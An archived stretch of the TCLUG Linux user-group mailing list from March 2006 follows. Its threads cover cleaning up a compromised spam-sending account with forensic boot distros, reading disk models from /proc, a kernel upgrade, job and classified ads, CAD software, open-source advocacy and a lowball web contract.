2006 From: thecubic at thecubic.net (Dave Carlson) Date: Wed, 22 Mar 2006 15:30:23 -0600 Subject: [tclug-list] Linux system "hack" attempt In-Reply-To: References: Message-ID: <200603221530.28346.thecubic@thecubic.net> On Wednesday 22 March 2006 09:55, Loren H. Burlingame wrote: > I recently noticed that a system I am responsible for was sending out > a bunch of spam messages. I logged into it and sure enough it was a > cracked user account which was responsible. Unplug the network cable, reboot with a utility CD, make a backup image (with dd/tar/whatever) onto another media, and reload from system disks. > I immediately locked down SSHD to certain users with strong passwords > (should have done this before, I know), killed the offending processes > and looked for replaced executables. If they've gotten root (which they may have), going through ssh is a burden. They may have installed a rootkit and can still get what they want. > Fortunately, the "hacker" (more like script kiddie) was not able to > get access to root by the look of it. Also they managed to not delete > their .bash_history file. Never trust log files when a compromise has happened, unless they're remotely captured onto a secured host. Even then they can be trusted only up to the compromise. Dave Carlson -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 191 bytes Desc: not available Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060322/e59cae76/attachment.pgp From gscottwalters at gmail.com Wed Mar 22 15:50:10 2006 From: gscottwalters at gmail.com (G. Scott Walters) Date: Wed, 22 Mar 2006 15:50:10 -0600 Subject: [tclug-list] Linux system "hack" attempt In-Reply-To: <200603221530.28346.thecubic@thecubic.net> References: <200603221530.28346.thecubic@thecubic.net> Message-ID: <34b4c76d0603221350g2e148b4fh404ad6fb5f7c6d08@mail.gmail.com> You also might try booting the system (off the network) with a distro like P.H.L.A.K. or FIRE. I know there are a couple other forensic boot distros, but those are the two I've used most. Any other good forensic distros out there? On 3/22/06, Dave Carlson wrote: > > On Wednesday 22 March 2006 09:55, Loren H. Burlingame wrote: > > I recently noticed that a system I am responsible for was sending out > > a bunch of spam messages. I logged into it and sure enough it was a > > cracked user account which was responsible. > > Unplug the network cable, reboot with a utility CD, make a backup image > (with > dd/tar/whatever) onto another media, and reload from system disks. > > > I immediately locked down SSHD to certain users with strong passwords > > (should have done this before, I know), killed the offending processes > > and looked for replaced executables. > > If they've gotten root (which they may have), going through ssh is a > burden. > They may have installed a rootkit and can still get what they want. > > > Fortunately, the "hacker" (more like script kiddie) was not able to > > get access to root by the look of it. Also they managed to not delete > > their .bash_history file. > > Never trust log files when a compromise has happened, unless they're > remotely > captured onto a secured host. Even then they can be trusted only up to > the > compromise. > > Dave Carlson > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > -- - G. Scott Walters http://www.apt518.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060322/1f9f1be0/attachment.htm From j at packetgod.com Wed Mar 22 17:02:36 2006 From: j at packetgod.com (J Cruit) Date: Wed, 22 Mar 2006 17:02:36 -0600 Subject: [tclug-list] {Spam?} Re: Linux system "hack" attempt In-Reply-To: <34b4c76d0603221350g2e148b4fh404ad6fb5f7c6d08@mail.gmail.com> References: <200603221530.28346.thecubic@thecubic.net> <34b4c76d0603221350g2e148b4fh404ad6fb5f7c6d08@mail.gmail.com> Message-ID: <4421D78C.8090803@packetgod.com> HELIX is my new favorite forensic distro partially as it includes LinEn (Linux Encase) for acquisition of target systems but mostly as it is has all the tools I need, detects all hardware and systems I've tried and especially as is especially designed to be forensically sound and will not touch the target file system at all. Some distros will detect swap space and mount it which is a big issue or automount all discovered partitions neither one are forensically sound. http://www.e-fense.com/helix/ --j G. Scott Walters wrote: > You also might try booting the system (off the network) with a distro > like P.H.L.A.K. or FIRE. I know there are a couple other forensic boot > distros, but those are the two I've used most. Any other good > forensic distros out there? > > On 3/22/06, *Dave Carlson* > wrote: > > On Wednesday 22 March 2006 09:55, Loren H. Burlingame wrote: > > I recently noticed that a system I am responsible for was > sending out > > a bunch of spam messages. I logged into it and sure enough it was a > > cracked user account which was responsible. > > Unplug the network cable, reboot with a utility CD, make a backup > image (with > dd/tar/whatever) onto another media, and reload from system disks. > > > I immediately locked down SSHD to certain users with strong > passwords > > (should have done this before, I know), killed the offending > processes > > and looked for replaced executables. > > If they've gotten root (which they may have), going through ssh is > a burden. > They may have installed a rootkit and can still get what they want. > > > Fortunately, the "hacker" (more like script kiddie) was not able to > > get access to root by the look of it. Also they managed to not > delete > > their .bash_history file. > > Never trust log files when a compromise has happened, unless > they're remotely > captured onto a secured host. Even then they can be trusted only > up to the > compromise. > > Dave Carlson > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > -- > - > G. Scott Walters > http://www.apt518.net > ------------------------------------------------------------------------ > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From sfertch at gmail.com Thu Mar 23 12:07:22 2006 From: sfertch at gmail.com (Shawn Fertch) Date: Thu, 23 Mar 2006 12:07:22 -0600 Subject: [tclug-list] HDD info Message-ID: <67f3084a0603231007l270f41e2hbce6eb52548485da@mail.gmail.com> I'm looking for a way to gather specific HDD info such as what shows up in dmesg: IDE: hda: WDC WD800JB-00CRA1, ATA DISK drive hdb: CD-ROM CMD5X11, ATAPI CD/DVD-ROM drive blk: queue c040c460, I/O limit 4095Mb (mask 0xffffffff) ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 hda: attached ide-disk driver. hda: host protected area => 1 hda: 156301488 sectors (80026 MB) w/8192KiB Cache, CHS=9729/255/63, UDMA(100) hdb: attached ide-cdrom driver. hdb: ATAPI 52X CD-ROM drive, 128kB Cache, UDMA(33) Uniform CD-ROM driver Revision: 3.12 Or SCSI: scsi0 : ioc0: LSISAS1064, FwRev=01040000h, Ports=1, MaxQ=203, IRQ=209 Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 Type: Direct-Access ANSI SCSI revision: 04 SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB) SCSI device sda: drive cache: write through sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 > Attached scsi disk sda at scsi0, channel 0, id 2, lun 0 Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 Type: Direct-Access ANSI SCSI revision: 04 SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB) SCSI device sdb: drive cache: write through sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 > Attached scsi disk sdb at scsi0, channel 0, id 3, lun 0 What I'm mainly after is where the make/model information comes from. I dug around in the /proc filesystem but didn't see much. Googling turned up a lot of information, but not what I'm looking for specifically. fdisk -l only provides the geometry and layout of the disk. I had thought of writing a script to gather the information on system bootup, or to grep it out of /var/log/dmesg. But, I was looking for commands to issue to gather it in case someone had installed a hot-plug disk without rebooting. Any insight to this? Thanks! -- -Shawn -Nemo me impune lacessit. Ne Obliviscaris.. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060323/d55d0e82/attachment.htm From sfertch at gmail.com Thu Mar 23 12:23:41 2006 From: sfertch at gmail.com (Shawn Fertch) Date: Thu, 23 Mar 2006 12:23:41 -0600 Subject: [tclug-list] HDD info In-Reply-To: <67f3084a0603231007l270f41e2hbce6eb52548485da@mail.gmail.com> References: <67f3084a0603231007l270f41e2hbce6eb52548485da@mail.gmail.com> Message-ID: <67f3084a0603231023r4fa7a90bmda1de7fb21967eb8@mail.gmail.com> On 3/23/06, Shawn Fertch wrote: > > I'm looking for a way to gather specific HDD info such as what shows up > in dmesg: > > IDE: > hda: WDC WD800JB-00CRA1, ATA DISK drive > hdb: CD-ROM CMD5X11, ATAPI CD/DVD-ROM drive > blk: queue c040c460, I/O limit 4095Mb (mask 0xffffffff) > ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 > hda: attached ide-disk driver. > hda: host protected area => 1 > hda: 156301488 sectors (80026 MB) w/8192KiB Cache, CHS=9729/255/63, > UDMA(100) > hdb: attached ide-cdrom driver. > hdb: ATAPI 52X CD-ROM drive, 128kB Cache, UDMA(33) > Uniform CD-ROM driver Revision: 3.12 > > Or SCSI: > scsi0 : ioc0: LSISAS1064, FwRev=01040000h, Ports=1, MaxQ=203, IRQ=209 > Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 > Type: Direct-Access ANSI SCSI revision: 04 > SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB) > SCSI device sda: drive cache: write through > sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 > > Attached scsi disk sda at scsi0, channel 0, id 2, lun 0 > Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 > Type: Direct-Access ANSI SCSI revision: 04 > SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB) > SCSI device sdb: drive cache: write through > sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 > > Attached scsi disk sdb at scsi0, channel 0, id 3, lun 0 > > > What I'm mainly after is where the make/model information comes from. I > dug around in the /proc filesystem but didn't see much. Googling turned up > a lot of information, but not what I'm looking for specifically. fdisk -l > only provides the geometry and layout of the disk. > > I had thought of writing a script to gather the information on system > bootup, or to grep it out of /var/log/dmesg. But, I was looking for > commands to issue to gather it in case someone had installed a hot-plug disk > without rebooting. > I found the answer: It is in fact in the /proc information. For ide systems it's similar to: cat /proc/ide/ide0/hda/model For scsi it's similar to it. I had discounted these files because they are 0 sized. cat /proc/scsi/scsi Attached devices: Host: scsi0 Channel: 00 Id: 02 Lun: 00 Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 Type: Direct-Access ANSI SCSI revision: 04 Host: scsi0 Channel: 00 Id: 03 Lun: 00 Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 Type: Direct-Access ANSI SCSI revision: 04 Host: scsi1 Channel: 00 Id: 00 Lun: 00 Vendor: AMI Model: Virtual CDROM Rev: 1.00 Type: CD-ROM ANSI SCSI revision: 02 Host: scsi2 Channel: 00 Id: 00 Lun: 00 Vendor: AMI Model: Virtual Floppy Rev: 1.00 Type: Direct-Access ANSI SCSI revision: 02 cat /proc/ide/ide0/model WDC WD800JB-00CRA1 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060323/dac638c5/attachment.htm From wjohnson at mqsoftware.com Thu Mar 23 12:56:55 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Thu, 23 Mar 2006 12:56:55 -0600 Subject: [tclug-list] Senior Programmer (Linux) Job Opportunity at Focus Enhancements, Inc. Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD0127998D@mailservermn.mqsoftware.com> I'm passing this on for a friend... === Focus Enhancements, Inc. is looking for a Senior Programmer to program Linux kernel drivers for use with video hardware. The selected candidate will work in a small integrated team of engineers for our Digital Signage product line located in Minneapolis, Minnesota. We offer competitive salary and benefits. Responsibilities: * Design, Program, and Unit Test Linux kernel drivers to interface with video hardware. * Help resolve technical problems that would affect cost, schedule, and performance. * Must be an independent worker (self-motivated & self-learner). Where requirements are ill defined, candidate must posses the ability to document requirements concisely. Required Skills: * Linux development experience * Programming at the kernel level preferable * Strong debugging skills and the ability to solve complex problems with minimal supervision. * Knowledge of operating system internals a plus * Strong written and verbal communication skills * Good people skills Required Education * B.S. in CS/EE or equivalent experience * Strong Linux background programming in C (3+ years.) * Structured Software and product development experience. Focus Enhancements, Inc., a publicly traded company, is specialized in designing and manufacturing equipment and systems for video acquisition, conversion, mixing, playback, and network-wide management. The Company product lines include: * Digital Signage Products: cards, server, and management software * Digital Asset Management Systems: server, management software * Video Acquisition Products: tape less recording devices, file conversion suites, MPEG recorders * Video Production products: video mixers Please send resume to MNjobs at focusinfo.com Wayne Johnson Senior Software Engineer MQSoftware, Inc. 1660 S Highway 100 Minneapolis, MN 55416 (952) 345-8628 From wjohnson at mqsoftware.com Thu Mar 23 13:00:20 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Thu, 23 Mar 2006 13:00:20 -0600 Subject: [tclug-list] Programmer (Linux) Job Opportunity at Focus Enhancements, Inc. Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD0127998E@mailservermn.mqsoftware.com> I'm passing this on for a friend... This is a separate position from the Senior Programmer position I also posted. === Focus Enhancements, Inc. is looking for an experienced Linux and Windows developer to program applications for use with video hardware. The selected candidate will work in a small integrated team of engineers for our Digital Signage product line located in Minneapolis, Minnesota. We offer competitive salary and benefits. Responsibilities: * Design, Program, and Unit Test applications to interface with video hardware. * Help resolve technical problems that would affect cost, schedule, and performance. * Must be an independent worker (self-motivated & self-learner). Where requirements are ill defined, candidate must posses the ability to document requirements concisely. Required Skills: * Linux and Windows development skills * Strong debugging skills and the ability to solve complex problems with minimal supervision. * Windows .net experience is a plus * Strong written and verbal communication skills * Good people skills Required Education * Bachelor degree in Computer Science or equivalent experience * Strong Linux, Windows, C, and C++ background. * Structured Software and product development experience. Focus Enhancements, Inc., a publicly traded company, is specialized in designing and manufacturing equipment and systems for video acquisition, conversion, mixing, playback, and network-wide management. The Company product lines include: * Digital Signage Products: cards, server, and management software * Digital Asset Management Systems: server, management software * Video Acquisition Products: tapeless recording devices, file conversion suites, MPEG recorders * Video Production products: video mixers Please send resume to MNjobs at focusinfo.com Wayne Johnson Senior Software Engineer MQSoftware, Inc. 1660 S Highway 100 Minneapolis, MN 55416 (952) 345-8628 From tclug at natecarlson.com Thu Mar 23 19:20:47 2006 From: tclug at natecarlson.com (Nate Carlson) Date: Thu, 23 Mar 2006 19:20:47 -0600 (CST) Subject: [tclug-list] HDD info In-Reply-To: <67f3084a0603231007l270f41e2hbce6eb52548485da@mail.gmail.com> References: <67f3084a0603231007l270f41e2hbce6eb52548485da@mail.gmail.com> Message-ID: On Thu, 23 Mar 2006, Shawn Fertch wrote: > hda: WDC WD800JB-00CRA1, ATA DISK drive $ cat /proc/ide/hda/model > scsi0 : ioc0: LSISAS1064, FwRev=01040000h, Ports=1, MaxQ=203, IRQ=209 > Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 > Type: Direct-Access ANSI SCSI revision: 04 > Attached scsi disk sda at scsi0, channel 0, id 2, lun 0 > Vendor: FUJITSU Model: MAV2073RCSUN72G Rev: 0301 > Type: Direct-Access ANSI SCSI revision: 04 $ cat /proc/scsi/scsi > I had thought of writing a script to gather the information on system > bootup, or to grep it out of /var/log/dmesg. But, I was looking for > commands to issue to gather it in case someone had installed a hot-plug > disk without rebooting. hwinfo also rules. ------------------------------------------------------------------------ | nate carlson | natecars at natecarlson.com | http://www.natecarlson.com | | depriving some poor village of its idiot since 1981 | ------------------------------------------------------------------------ From rclark at lakesplus.com Fri Mar 24 18:35:55 2006 From: rclark at lakesplus.com (Randy Clarksean) Date: Fri, 24 Mar 2006 18:35:55 -0600 Subject: [tclug-list] Install / Build Raid 0+1 system Message-ID: <1143246955.5860.9.camel@iwill> ok ... looking for some gentle guidance on how to build / install a raid 0+1 system (4 drives) and install Linux on it. Yes I have checked for some things on the web ... more interested in things that may not be obvious that others on TCLUG have learned the hard way. I will be purchasing an ASUS PC-Deluxe motherboard for the system. It comes with Raid 0+1 on the hardware sides. A generic article is listed below. http://www.enterprisestorageforum.com/technology/features/article.php/3526891 Thoughts or comments are welcome. Thanks in advance. Randy From webmaster at mn-linux.org Sat Mar 25 00:55:41 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sat, 25 Mar 2006 00:55:41 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603250655.k2P6tfb27848@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: FS: Linksys 8port switch Linksys EtherFast 10/100 8 port workgroup (unmanaged) switch. Model #EZXS88W. $25 Seller Email address: sfertch at gmail dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From webmaster at mn-linux.org Sat Mar 25 09:47:10 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sat, 25 Mar 2006 09:47:10 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603251547.k2PFlAg03190@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: Linksys Wireless-B router/switch The URL is too long for this form, so search for befw11s4 on http://www.linksys.com. * Router function shares your high-speed Internet connection with wired and wireless computers * Built-in 4-port Ethernet Switch and Wireless Access Point creates your home network to share printers and files * Wireless connections are secured with 128-bit encryption with data rates up to 11Mbps I'm selling this because it has a habit of very infrequently locking up - I wouldn't use this as my primary home interface if you need constant uptime (if you're running a server) but if you can put up with having to power-cycle it every month or so, it should be a great box. Offers welcome. Located in Mounds View. ewilts at ewilts.org Seller Email address: ewilts at ewilts dot org http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From jus at krytosvirus.com Sat Mar 25 09:53:27 2006 From: jus at krytosvirus.com (Justin Krejci) Date: Sat, 25 Mar 2006 09:53:27 -0600 Subject: [tclug-list] New TCLUG Classified Ad In-Reply-To: <3532220.1143301783084.JavaMail.root@Sniper26> References: <3532220.1143301783084.JavaMail.root@Sniper26> Message-ID: <200603250953.27823.jus@krytosvirus.com> On Saturday 25 March 2006 09:47 am, TCLUG Classifieds wrote: > New TCLUG Classified Ad > > Category: Computer > > Type of Ad: For Sale > > Subject: Linksys Wireless-B router/switch > > The URL is too long for this form, so search for befw11s4 on > http://www.linksys.com. try http://www.tinyurl.com > > * Router function shares your high-speed Internet connection with wired and > wireless computers * Built-in 4-port Ethernet Switch and Wireless Access > Point creates your home network to share printers and files * Wireless > connections are secured with 128-bit encryption with data rates up to > 11Mbps > > I'm selling this because it has a habit of very infrequently locking up - I > wouldn't use this as my primary home interface if you need constant uptime > (if you're running a server) but if you can put up with having to > power-cycle it every month or so, it should be a great box. > > Offers welcome. Located in Mounds View. > ewilts at ewilts.org > > > > Seller Email address: ewilts at ewilts dot org > > http://www.mn-linux.org/cgi-bin/classifieds/index.cgi > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From sfertch at gmail.com Sat Mar 25 14:32:41 2006 From: sfertch at gmail.com (Shawn Fertch) Date: Sat, 25 Mar 2006 14:32:41 -0600 Subject: [tclug-list] 2.4 to 2.6 kernel upgrade Message-ID: <67f3084a0603251232q12216200q88fbf705f7e7efe9@mail.gmail.com> When upgrading from a 2.4 to 2.6 kernel, can I use a .config file from 2.4? Also, what would be the procedural steps to do the upgrade? Can I do everything under the 2.4 kernel, or do I need to be in the 2.6? Sad to say I've never done a kernel recompile or upgrade in all the years I've been using Linux.... -- -Shawn -Nemo me impune lacessit. Ne Obliviscaris.. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060325/ee9c2cc9/attachment.htm From aristophrenic at warpmail.net Sat Mar 25 15:10:16 2006 From: aristophrenic at warpmail.net (Isaac Atilano) Date: Sat, 25 Mar 2006 15:10:16 -0600 Subject: [tclug-list] 2.4 to 2.6 kernel upgrade In-Reply-To: <67f3084a0603251232q12216200q88fbf705f7e7efe9@mail.gmail.com> References: <67f3084a0603251232q12216200q88fbf705f7e7efe9@mail.gmail.com> Message-ID: <1143321016.30340.257521858@webmail.messagingengine.com> You can't use your old .config directly but you can use it as a reference when configuring your new kernel. I went through the process of upgrading from a 2.4 to a 2.6 kernel on a Gentoo system. This is the guide I used and it should be informative whatever distribution you use. http://www.gentoo-linux.org/doc/en/migration-to-2.6.xml ----- Original message ----- From: "Shawn Fertch" To: "TCLUG Mailing List" Date: Sat, 25 Mar 2006 14:32:41 -0600 Subject: [tclug-list] 2.4 to 2.6 kernel upgrade When upgrading from a 2.4 to 2.6 kernel, can I use a .config file from 2.4? Also, what would be the procedural steps to do the upgrade? Can I do everything under the 2.4 kernel, or do I need to be in the 2.6? Sad to say I've never done a kernel recompile or upgrade in all the years I've been using Linux.... -- -Shawn -Nemo me impune lacessit. Ne Obliviscaris.. From cdf123 at cdf123.net Sat Mar 25 17:05:37 2006 From: cdf123 at cdf123.net (Chris Frederick) Date: Sat, 25 Mar 2006 17:05:37 -0600 Subject: [tclug-list] Linux design software recomendations Message-ID: <4425CCC1.5010706@cdf123.net> Hi all, I was wondering if anyone here had any recommendations for design software for Linux. I've been doing a lot of remodeling in my spare time and I'm getting a pretty good wood shop setup in the garage. I'm getting done with some of the remodeling projects and I'm going to be starting on some furniture soon. I'd like to have some software that I can do the pre-planning in. Currently I use xfig, and this works great. But, it's missing something. I like it because I can do a rough draft of a design, or I can layout cut patterns in the stock material so I can see how much plywood I need to buy. But what I'd like to do is both, and probably in 3D. What I'd like to do is design a book shelf or something, and then take it apart and lay it out flat into various 4x8 foot sheets, and possibly make a few changes and put it back together again and see what the changes I've made have done to the project. Like I said, xfig is great, but it's only a 2D editor, and I really think a 3D system is what I need. With that said, I'm doing all this in my spare time (I'm a programmer full time) and I don't want something that is too difficult. I think I only use about half or less of what xfig can do in 2D. I don't think I need to learn a full fledged 3D CAD system to build a book shelf or and end table or something. I need something simple and easy. Build shapes, change dimensions, rotate, scale, zoom, etc... Of course it needs to run on Linux, and as being a gentoo user, having it in portage is a plus. Since this is only a hobby, I'd like it to be free. A "GPL-ish" license isn't necessary, but it would be cool (I'm a programmer after all). Does anyone have any recommendations for something similar to what I'm describing, or had success with other software that can do some of what I want? Thanks all, Chris Frederick From webmaster at mn-linux.org Sat Mar 25 19:53:49 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Sat, 25 Mar 2006 19:53:49 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603260153.k2Q1rnD12383@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: Want to Buy Subject: Looking for a socket A mobo Just had my motherboard die in my workstation. I am looking for a socket A motherboard that supports pc3200. If anyone has one to get rid of, I have a good home. Thanks, Jason jsievertgmailcom Seller Email address: jsievert at gmail dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From nicholas.thompson1 at mchsi.com Sun Mar 26 04:06:42 2006 From: nicholas.thompson1 at mchsi.com (nick thompson) Date: Sun, 26 Mar 2006 04:06:42 -0600 Subject: [tclug-list] Next meeting Message-ID: <442667B2.5010301@mchsi.com> Hi guys, When is the next meeting? I haven't been in a really long time and I want to start coming again more regularly. Is april happening? Nick Thompson From tclug at greatlakedata.com Sun Mar 26 22:27:16 2006 From: tclug at greatlakedata.com (greg wm) Date: Sun, 26 Mar 2006 22:27:16 -0600 Subject: [tclug-list] our new CFO challenging my FOS advocacy Message-ID: <442769A4.9090307@greatlakedata.com> hi, we just hired a new CFO. she's dyed in the wool MS office and quickbooks. i've been deploying thunderbird here, with chilly response even before our new CFO, and i'm proposing sql-ledger. can anyone help me answer her challenges? does sql-ledger output to a spreadsheet as easily as quickbooks? is support available comparable to what is available with quickbooks? of course i've pointed out about how sql-ledger addresses multicurrency and browser access, superior to quickbooks, but clearly there's a steep incline working against me here. she has a pda that integrates easily with outlook. i've gotten folks barely started here with the egroupware calendar, again with tepid response. web access is important, but folks miss the outlook integration. thunderbird is in the limelight, but is it actually the best player available for winning over the hearts of these outlook lovers? is there better? and has our beloved world of FOS come up yet with really good PDA integration somewhere? our new CFO is hot to write whatever we need into our budget. it may well just be an exchange server and the whole m$ ball of wax unless i come up with something convincing. i've had my fun researching, installing, evaluating, but i think it's time for a new strategy. i'm a bit twiddler by habit, i need some help getting plugged into the advocacy, planning, and management arena. i need quick and convincing reports of what direction to take, and a plan of how to get there quickly. i need up-to-date references of who has implemented what, and how it works as well or better than m$. any help appreciated. thank you, greg Greg WhitleyMott IT Coordinator NonviolentPeaceforce.org From swaite at sbn-services.com Mon Mar 27 04:30:48 2006 From: swaite at sbn-services.com (Sean Waite) Date: Mon, 27 Mar 2006 04:30:48 -0600 Subject: [tclug-list] OT - Contract offer, opinions? Message-ID: A friend passed along this contract offer, and to say the least I was a bit taken back by what was being offered. Below is what was listed for the contract proposal. Now here is what is rather amusing, the project is budgeted for $500-1000. Is it just me or is this ridiculously low? Problem is I am seeing this all over. Has IT work just become so meaningless these days or what? >1) setup a very secure Linux RedHat Enterprise SSL website with Oracle >backend database. > >2) Website design and extranet for clients with the following functionality: > >- Attractive design with some initial welcome photoshop in the main >welcome screen. - Designed for the non-technical user, so that users may >be able to submit technical support tickets. - Fully enabled access from >any web browser. - User login and password per company, each company may >have several employees, all with access to their trouble ticketing system. >Employees with role based menus. - Ability to create a folder structure >that reflects the working framework per organization served. - Easy access >to latest versions of documents (document versioning). - Ability from >users to upload documents (PDF, Excel, Word, etc.) - email notification >when a client uploads a file, or makes a comment on a document. - Ability >to view documents online, instead of downloading attachments. - Documents >with permanent comment logs. - Ability to track projects. - Online >calendar of activities per client company basis, so customers will know >about scheduled time for projects, etc. - Customized branding to indentify >client organizations (upload their own logo). - Protected by 128bit SSL >encryption. - Ability from users to create troubletickets, and track >progress online. Logs. > >All work done will belong to me, copyrights, etc. > >Reference website: >http://www.trichys.com/intranet-extranet/extranet-solution.vm >I need the entire functionality of this website in order to provide it to >a very small number of companies I will be servicing as computer services; >no cost to them. From rharding at mitechie.com Mon Mar 27 06:14:15 2006 From: rharding at mitechie.com (Richard Harding) Date: Mon, 27 Mar 2006 07:14:15 -0500 Subject: [tclug-list] OT - Contract offer, opinions? In-Reply-To: References: Message-ID: On Mar 27, 2006, at 5:30 AM, Sean Waite wrote: > A friend passed along this contract offer, and to say the least I > was a bit taken back by what was being offered. Below is what was > listed for the contract proposal. Now here is what is rather > amusing, the project is budgeted for $500-1000. Is it just me or is > this > ridiculously low? Problem is I am seeing this all over. Has IT work > just become so meaningless these days or what? As someone working on several PHP based application projects and has been turned down on many pitches, people don't seem to understand the number of hours that go into this stuff. They have a project and what they want to spend and I have no idea if they find someone to do this stuff for the price or what. I do know that in many of the forums I hang out in (sitepoint, webhostingtalk, etc) you can find people trying to make edits to code they contracted out and it's a freaking mess and so insecure and buggy that you think they must have hired some yahoo that doesn't understand web dev security to do it for pennies on the hour. As for this specific project, it seems that they could get most of this setup with an opensource project management app. In the end though, setting up a "very secure Linux RHE SSL" server would eat up this budget. Rick From rharding at mitechie.com Mon Mar 27 06:31:37 2006 From: rharding at mitechie.com (Richard Harding) Date: Mon, 27 Mar 2006 07:31:37 -0500 Subject: [tclug-list] our new CFO challenging my FOS advocacy In-Reply-To: <442769A4.9090307@greatlakedata.com> References: <442769A4.9090307@greatlakedata.com> Message-ID: On Mar 26, 2006, at 11:27 PM, greg wm wrote: > hi, > > we just hired a new CFO. she's dyed in the wool MS office and > quickbooks. > > i've been deploying thunderbird here, with chilly response even before > our new CFO, and i'm proposing sql-ledger. can anyone help me answer > her challenges? To start off, I think you'll find this a MAJOR uphill battle. We use quickbooks here and I've worked with several small business's that swear by quickbooks. The thing is the support across the industry. We use it to mange taxes, payroll, everything. It has all these modules that are then supported by other entities like the bank for payroll and such. When the auditors come in every year our finance guy just hands them a cd with the quickbooks file and they support it on their laptops they bring in to load it up and go through it very easily. I've not tried to find anything, but only because bringing up the question once got such a fierce response from the boss. > > ...snip > > she has a pda that integrates easily with outlook. i've gotten folks > barely started here with the egroupware calendar, again with tepid > response. web access is important, but folks miss the outlook > integration. > > thunderbird is in the limelight, but is it actually the best player > available for winning over the hearts of these outlook lovers? is > there > better? and has our beloved world of FOS come up yet with really good > PDA integration somewhere? > I tried this once. Our exchange 2000 server had a db bomb that caused some problems and I moved all email to my debian box and actually was able to do some nice things with the spam/virus checking for a couple of weeks. I moved everyone to thunderbird with the calendar plugin and set up some webdav calendar shares. In the end the webdav calendars had major performance problems on the boss's massive calendar. It was just impossible. The lack of PocketPC sync was what finally killed it and my boss forced me to set back up the exchange server for the staff here. The nice thing was that were were previously using the exchange server for our 50 students as well and I got to keep them on the linux box. I've now setup my debian machine as the exchange server gateway so it takes care of all the spam/virus needs (instead of tacking on costly exchange extras). There are a couple of projects, but the PocketPC sync seems to always be that problematic last mile. If you do find anything I would be interested to hear your story on it. > ... > i've had my fun researching, installing, evaluating, but i think it's > time for a new strategy. i'm a bit twiddler by habit, i need some > help > getting plugged into the advocacy, planning, and management arena. i > need quick and convincing reports of what direction to take, and a > plan > of how to get there quickly. i need up-to-date references of who has > implemented what, and how it works as well or better than m$. Sorry I can't help you find something new, just wanted to let you know that you're not the first to come up against these problems and that I've only found limited success with fixing it out there. Rick From ewilts at ewilts.org Mon Mar 27 06:42:16 2006 From: ewilts at ewilts.org (Ed Wilts) Date: Mon, 27 Mar 2006 06:42:16 -0600 Subject: [tclug-list] OT - Contract offer, opinions? In-Reply-To: References: Message-ID: <20060327124216.GA10870@www.ewilts.org> On Mon, Mar 27, 2006 at 04:30:48AM -0600, Sean Waite wrote: > A friend passed along this contract offer, and to say the least I was > a bit taken back by what was being offered. Below is what was listed > for the contract proposal. Now here is what is rather amusing, the > project is budgeted for $500-1000. Is it just me or is this > ridiculously low? Problem is I am seeing this all over. Has IT work > just become so meaningless these days or what? The odds are pretty good that the job won't be done for that price. After all, that's less than the price for 1 good consultant for one day. > >1) setup a very secure Linux RedHat Enterprise SSL website with Oracle > >backend database. The RHEL subscription starts at about $350 per year. Hopefully that's not coming out of the budget too! You're most likely not going to find anybody with good RHEL *and* Oracle skills that's going to work for peanuts. > >All work done will belong to me, copyrights, etc. So you want the person to work for peanuts *and* give the sources away at the end? Ain't gonna happen. There's enough work there that somebody might be willing to do it if they can sell multiple copies. And if *all* work is copyrighted by the end user, what about the open source that will be used as part of the project? IT work hasn't become meaningless but 